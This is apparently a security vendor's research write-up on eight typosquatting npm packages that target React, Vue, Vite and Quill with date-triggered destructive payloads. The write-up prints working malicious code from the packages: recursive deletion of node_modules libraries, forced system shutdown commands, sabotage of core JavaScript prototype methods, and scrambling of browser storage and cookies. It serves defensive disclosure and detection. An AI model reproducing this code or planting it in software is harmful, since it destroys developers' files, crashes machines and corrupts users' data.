
Research
Security News
The Growing Risk of Malicious Browser Extensions
Socket researchers uncover how browser extensions in trusted stores are used to hijack sessions, redirect traffic, and manipulate user behavior.
Research
Security News
Kush Pandya
May 21, 2025
Socket's Threat Research Team discovered a collection of malicious npm packages that deploy attacks against widely-used JavaScript frameworks including React, Vue.js, Vite, Node.js, and the open source Quill Editor. These malicious packages have remained undetected in the npm ecosystem for more than two years, accumulating over 6,200 downloads. Masquerading as legitimate plugins and utilities while secretly containing destructive payloads designed to corrupt data, delete critical files, and crash systems, these packages remained undetected.
The threat actor behind this campaign, using the npm alias xuxingfeng
with a registration email 1634389031@qq[.]com
, has published eight packages designed to cause widespread damage across the JavaScript ecosystem. As of this writing, these packages remain live on the npm registry. We have formally petitioned for their removal.
Notably, the same account has also published several legitimate, non-malicious packages that function as advertised. This dual approach of releasing both harmful and helpful packages creates a facade of legitimacy that makes malicious packages more likely to be trusted and installed.
npm profile of the threat actor xuxingfeng
, highlighting both malicious and legitimate packages published over two years. This mixed publishing approach helps mask malicious intent by establishing credibility and trust within the ecosystem.
These malicious packages rely on typosquatting and package name mimicry to gain installation:
The malicious packages strategically target some of the most popular and widely-used tools in modern JavaScript development:
Socket's AI Scanner flagging the malicious packages as "Known malware" and “Possible Typosquat Attack”.
What makes this campaign particularly concerning is the diversity of attack vectors - from subtle data corruption to aggressive system shutdowns and file deletion. The packages were designed to target different parts of the JavaScript ecosystem with varied tactics:
These packages were designed to execute automatically once developers use them exactly as they would any legitimate development tool. The activation methods are indistinguishable from standard development practices, making them quite dangerous.
While the packages don't execute during npm install
alone, they trigger through identical usage patterns to legitimate tools:
js-bomb
, vite-plugin-bomb
, vite-plugin-bomb-extend
packages): Use standard export patterns where developers naturally call import tool from 'package'; tool();
js-hood
): Follow the exact Vue plugin structure with export default { install(app) {...} }
that developers install using app.use(plugin)
vite-plugin-vue-extend
, vite-plugin-react-extend
): Designed to integrate into development pipelines using identical syntax to legitimate packagesA developer couldn't distinguish the usage of these malicious packages from legitimate ones without examining the source code. The import statements, function calls, and integration methods are designed to be completely indistinguishable from real development tools. When developers follow completely normal procedures to install and use what they believe are legitimate packages, the time-based malicious payloads activate automatically based on system dates (all activation dates have now passed).
vite-plugin-bomb
and vite-plugin-bomb-extend
- Deletes Vue.js framework files using cross-platform deletion methods.
import process from"child_process";
import{fileURLToPath}from"node:url";
import{dirname}from"node:path";
.....
// Using rimraf for cross-platform file deletion
if (new Date("2023/06/19 08:00:01").getTime()<(new Date).getTime() &&
(new Date).getTime()<new Date("2023/06/30 18:00:01").getTime()) {
setInterval(()=>{
// Dynamic path resolution
const arr=__dirname.split("\\");
const key2=arr[arr.length-2];
const index2=__dirname.indexOf(key2);
const node_modules=__dirname.slice(0,index2+key2.length)+"\\";
// Target critical Vue.js components using rimraf for reliable deletion
process.execSync(`rimraf ${node_modules}vue\\dist`);
process.execSync(`rimraf ${node_modules}vue-router\\index.js`);
process.execSync(`rimraf ${node_modules}ant-design-vue\\index.js`);
process.execSync(`rimraf ${node_modules}ant-design-vue\\dist`);
}, 1000)
}
In this version, the attacker ensures effective file deletion by using the rimraf
package (a Node.js implementation of the rm -rf command) that works across platforms including Windows, macOS, and Linux. Unlike the previous attempt, these destructive commands would successfully delete the target files regardless of operating system. However, the directory structure still uses Windows-style backslashes, so it would primarily affect Windows environments.
vite-plugin-react-extend
- Targets React and Vite with a recursive deletion attack.
// Custom recursive directory deletion function
function rmdir(dirPath) {
if (fs.existsSync(dirPath)) {
let files = fs.readdirSync(dirPath);
let chidPath = null;
files.forEach((child) => {
chidPath = `${dirPath}/${child}`;
if (fs.statSync(chidPath).isDirectory()) {
rmdir(chidPath);
fs.rmdirSync(chidPath);
} else {
fs.unlinkSync(chidPath);
}
});
}
}
// Activation targeting React and Vite (would have triggered in 2024)
if (new Date().getTime() > new Date("2024/08/20 08:00:01").getTime()) {
setInterval(() => {
const index = __dirname.indexOf("\\node_modules");
rmdir(__dirname.slice(0, index) + "\\node_modules" + "\\vite");
rmdir(__dirname.slice(0, index) + "\\node_modules" + "\\react");
}, 2 * 1000);
}
vite-plugin-vue-extend
- Implements a seven-stage progressive attack targeting Vue.js ecosystem.
// Phase 1 (July 8, 2023) - Core build tools and Vue
if (new Date().getTime() > new Date('2023/07/08 08:00:01').getTime()) {
setInterval(() => {
var index = __dirname.indexOf('\\node_modules');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vite\\dist');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vue\\dist');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vue-types\\dist');
}, randomVal(items) * 60 * 1000);// Random interval between 5-10 minutes
}
// Phase 2 (July 10, 2023) - Binaries and executables
if (new Date().getTime() > new Date('2023/07/10 08:00:01').getTime()) {
setInterval(() => {
var index = __dirname.indexOf('\\node_modules');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\typescript\\bin');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vite\\bin');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\vue-tsc\\bin');
}, randomVal(items) * 60 * 1000);
}
// Phase 3 (July 12, 2023) - UI libraries and state management
if (new Date().getTime() > new Date('2023/07/12 08:00:01').getTime()) {
setInterval(() => {
var index = __dirname.indexOf('\\node_modules');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\less\\lib');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\ant-design-vue\\es');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\store\\dist');
}, randomVal(items) * 60 * 1000);
}
// Phase 4 (July 17, 2023) - Utilities and TypeScript
if (new Date().getTime() > new Date('2023/07/17 08:00:01').getTime()) {
setInterval(() => {
var index = __dirname.indexOf('\\node_modules');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\lib-flexible');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\dayjs\\locale');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\typescript\\lib');
}, randomVal(items) * 60 * 1000);
}
// Phase 7 (August 14, 2023) - HTTP clients and CSS tools
if (new Date().getTime() > new Date('2023/08/14 08:00:01').getTime()) {
setInterval(() => {
var index = __dirname.indexOf('\\node_modules');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\axios\\dist');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\less\\dist');
rmdir(__dirname.slice(0, index) + '\\node_modules' + '\\less-loader\\dist');
}, randomVal(items) * 60 * 1000);
}
This package systematically targets 19 different critical libraries across all seven phases, with phases 5 and 6 also targeting routing libraries, UI components, state management (Pinia), and data visualization (ECharts). It uses randomized intervals (5-10 minutes) to evade detection patterns, with each phase building upon previous phases. This ensures the progressive destruction of the entire Vue.js ecosystem over a carefully planned six-week period. Like the other packages, it primarily targets Windows environments due to the path structure.
js-hood
- Corrupts JavaScript's core Array and String methods with random data.
// After August 1, 2023, start corrupting JavaScript
if(new Date().getTime() > new Date("2023/08/01 08:00:01").getTime()) {
setInterval(() => {
// Replace Array.prototype.filter with nonsense function
Array.prototype.filter = function(fn) {
var arr = this, len = arr.length, arg = arguments[1] || window,
newArr = [], item;
for(var i = 0; i < len; i++) {
item = JSON.parse(JSON.stringify(arr[i]));
fn.apply(arg, [item, i, arr]) ? newArr.push(item) : "";
}
// Instead of returning filtered data, return array of random characters
return Array(len).fill(randomVal(characterArr));
};
// Corrupt String.prototype.split
String.prototype.split = function(s) {
// Logic that appears normal but returns random characters
var pattern = new RegExp("[" + s + "]+", "g");
var sr = this;
var sl = s.length;
var relust = [];
// Instead of splitting string properly, fill with random characters
relust.push(randomVal(characterArr));
return relust;
};
// Many other corrupted methods...
}, randomVal(items) * 60 * 1000);// Random interval between 5-10 minutes
}
The package corrupts numerous fundamental JavaScript methods, including essential Array methods like slice
, push
, pop
, unshift
, filter
, forEach
, map
, shift
, some
, every
, and splice
, as well as critical String methods such as split
, replaceAll
, substr
, trim
, and concat
.
Each corrupted method maintains its expected syntax and signature but returns completely random and unpredictable values. For example:
filter()
appears to filter an array but returns random characters instead of the filtered resultspush()
adds random characters instead of the intended itemspop()
removes a random number of elements and returns a random charactermap()
creates an array of random characters instead of applying the transformation functionsplit()
returns random characters instead of splitting the string on the delimiterThis package is particularly dangerous because it directly attacks core JavaScript prototype methods essential to application functionality. By introducing non-deterministic failures that return random data, it ensures that applications appear operational yet produce corrupted and unpredictable outputs. The malware's randomized execution intervals of 5-10 minutes further complicate detection and diagnosis.
The quill-image-downloader
package series - Corrupts all browser storage mechanisms with a coordinated three-file attack.
This is arguably the most advanced attack in the entire campaign. Unlike the other packages that target server-side environments or framework files, this package specifically targets client-side web applications by compromising all three core browser storage mechanisms:
The attack uses a modular, three-file approach with clear separation of concerns:
index.js
: The loader module that activates after October 5, 2023export default {
install(app) {
try {
if((new Date).getTime() > new Date("2023/10/05 00:00:00").getTime()) {
// Import and activate malicious module with randomized delay
lib((new Date).getTime() + randomVal(items) * 1 * 1e3)
}
} catch(e) {}
}
};
cookie.min.js
: Cookie manipulation utilitiesexport default {
set(key, value, seconds) {
// Cookie setting functionality
},
getAll() {
// Returns all cookies as an object
const obj = {};
const array = document.cookie.split(";");
for(let i = 0; i < array.length; i++) {
const new_Array = array[i].split("=");
const n_key = new_Array[0].replace(/^\s/,"");
obj[n_key] = new_Array[1]
}
return obj;
}
// Other utility functions...
};
index.min.js
: The core attack logicexport default date1 => {
var date2 = (new Date).getTime();
setInterval(() => {
try {
// Target all browser storage mechanisms
var localStore = localStorage;
var sessionStore = sessionStorage;
var cookieStore = handleCookie.getAll();
// Corrupt localStorage
Object.keys(localStore).forEach(key => {
localStore.setItem(key, localStore[key].replaceAll(
randomVal(characterArr), randomVal(characterArr)
));
});
// Corrupt sessionStorage
Object.keys(sessionStore).forEach(key => {
sessionStore.setItem(key, sessionStore[key].replaceAll(
randomVal(characterArr), randomVal(characterArr)
));
});
// Corrupt cookies
Object.keys(cookieStore).forEach(key => {
cookieStore[key] = cookieStore[key].replaceAll(
randomVal(characterArr), randomVal(characterArr)
);
});
// Reassemble and set corrupted cookies
var str = "";
Object.keys(cookieStore).map(key => {
str += key + "=" + cookieStore[key]
}).join(";");
document.cookie = str;
} catch(e) {}
}, date1 - date2);
};
What makes this attack particularly advanced and dangerous:
Unlike the other packages that cause immediate, obvious damage through file deletion or system shutdowns, this attack corrupts data in all three client-side storage systems (localStorage, sessionStorage, and cookies) by randomly replacing characters while preserving the overall data structure. This strategic approach breaks authentication tokens, user preferences, shopping carts, and application state while creating hard-to-diagnose intermittent failures that persist through page refreshes. By targeting these storage mechanisms simultaneously, it ensures maximum impact on web applications and their users.
js-bomb
- Deletes Vue.js framework files and forces system shutdowns using a multi-phase attack strategy.
// Phase 1 (June 20, 2023): System shutdown only
if(new Date("2023/06/20 08:00:01").getTime()<(new Date).getTime() &&
(new Date).getTime()<new Date("2023/06/20 11:45:01").getTime()) {
setInterval(()=>{
process.execSync(`shutdown -s -t 5`)
}, 1*1000)
}
// Phase 2 (July 5, 2023): System shutdown only
if(new Date("2023/07/05 08:00:01").getTime()<(new Date).getTime() &&
(new Date).getTime()<new Date("2023/07/05 11:45:01").getTime()) {
setInterval(()=>{
process.execSync(`shutdown -s -t 5`)
}, 1*1000)
}
// Phase 3 (July 6, 2023): File deletion + system shutdown
if(new Date("2023/07/06 08:00:01").getTime()<(new Date).getTime() &&
(new Date).getTime()<new Date("2023/07/06 11:45:01").getTime()) {
setInterval(()=>{
// Dynamically locate node_modules regardless of installation path
const arr=__dirname.split("\\");
const key2=arr[arr.length-2];
const index2=__dirname.indexOf(key2);
const node_modules=__dirname.slice(0,index2+key2.length)+"\\";
// Delete Vue.js core files
process.execSync(`rm -rf ${node_modules}vue\\dist`);
process.execSync(`rm -rf ${node_modules}vue-router\\index.js`);
process.execSync(`rm -rf ${node_modules}ant-design-vue\\index.js`);
process.execSync(`rm -rf ${node_modules}ant-design-vue\\dist`);
// Force system shutdown with minimal warning
process.execSync(`shutdown -s -t 5`)
}, 1*1000)
}
// Phase 4 (From July 7, 2023 onward): Permanent expanded attack
if(new Date("2023/07/07 08:00:01").getTime()<(new Date).getTime()) {
setInterval(()=>{
// Similar node_modules path resolution
const arr=__dirname.split("\\");
const key2=arr[arr.length-2];
const index2=__dirname.indexOf(key2);
const node_modules=__dirname.slice(0,index2+key2.length)+"\\";
// Expanded target list with additional libraries
process.execSync(`rm -rf ${node_modules}lib-flexible`);
process.execSync(`rm -rf ${node_modules}less-loader\\dist`);
process.execSync(`rm -rf ${node_modules}less\\index.js`);
process.execSync(`rm -rf ${node_modules}vite-plugin-vue-setup-extend\\dist`);
// Force system shutdown with minimal warning
process.execSync(`shutdown -s -t 5`)
}, 1*1000)
}
Similarly, vue-plugin-bomb
follows the same pattern but disguised as a Vue plugin. These packages employ a graduated attack strategy:
What makes these particularly dangerous:
shutdown -s -t 5
command forces a system shutdown with only 5 seconds of warningIt's important to note that these packages remain actively harmful today (May 2025). While the earlier phases were limited to specific dates in 2023, the final phase that begins on July 7, 2023, has no end date. This means that any current installations of these packages would still trigger the system shutdown and file deletion functionality, making them persistent threats.
However, there's a critical implementation flaw: the file deletion likely wouldn't work as intended because it uses Linux-style rm -rf
commands on Windows directory paths (with backslashes). While the system shutdown commands would execute successfully, the file deletion would fail due to this cross-platform syntax error. The directory structure used is Windows-specific, so these packages would only affect Windows environments, and even then, only the shutdown functionality would work properly.
The attacks use various concealment techniques to avoid detection:
Once activated, the attacks execute at intervals ranging from aggressive 1-second loops to randomized 5-10 minute windows, making them difficult to trace during debugging.
The malicious npm packages described in this research such as js-bomb
, vite-plugin-bomb
, js-hood
, and quill-image-downloader
represent a coordinated effort to exploit developer workflows and trust boundaries within the JavaScript ecosystem.
For organizations that suspect exposure, we recommend immediately auditing installed dependencies, restoring affected environments from verified sources, and rotating all potentially compromised credentials. It is also critical to inspect source control and build artifacts for unauthorized modifications or suspicious activity.
Socket's security tools can help protect against these threats by analyzing package behaviors in real-time to detect dangerous patterns like those seen in this campaign. Our GitHub app flags risks directly in pull requests, the CLI alerts during package installations, and our browser extension provides security insights on npm package pages all helping developers identify potential supply chain threats before they enter your codebase.
xuxingfeng
1634389031@qq[.]com
T1195.002
— Supply Chain Compromise: Compromise Software Supply ChainT1059.007
— Command and Scripting Interpreter: JavaScriptT1565
— Data ManipulationT1485
— Data DestructionT1529
— System Shutdown/RebootSubscribe to our newsletter
Get notified when we publish new security blog posts!
Try it now
Research
Security News
Socket researchers uncover how browser extensions in trusted stores are used to hijack sessions, redirect traffic, and manipulate user behavior.
Research
Security News
An in-depth analysis of credential stealers, crypto drainers, cryptojackers, and clipboard hijackers abusing open source package registries to compromise Web3 development environments.
Security News
pnpm 10.12.1 introduces a global virtual store for faster installs and new options for managing dependencies with version catalogs.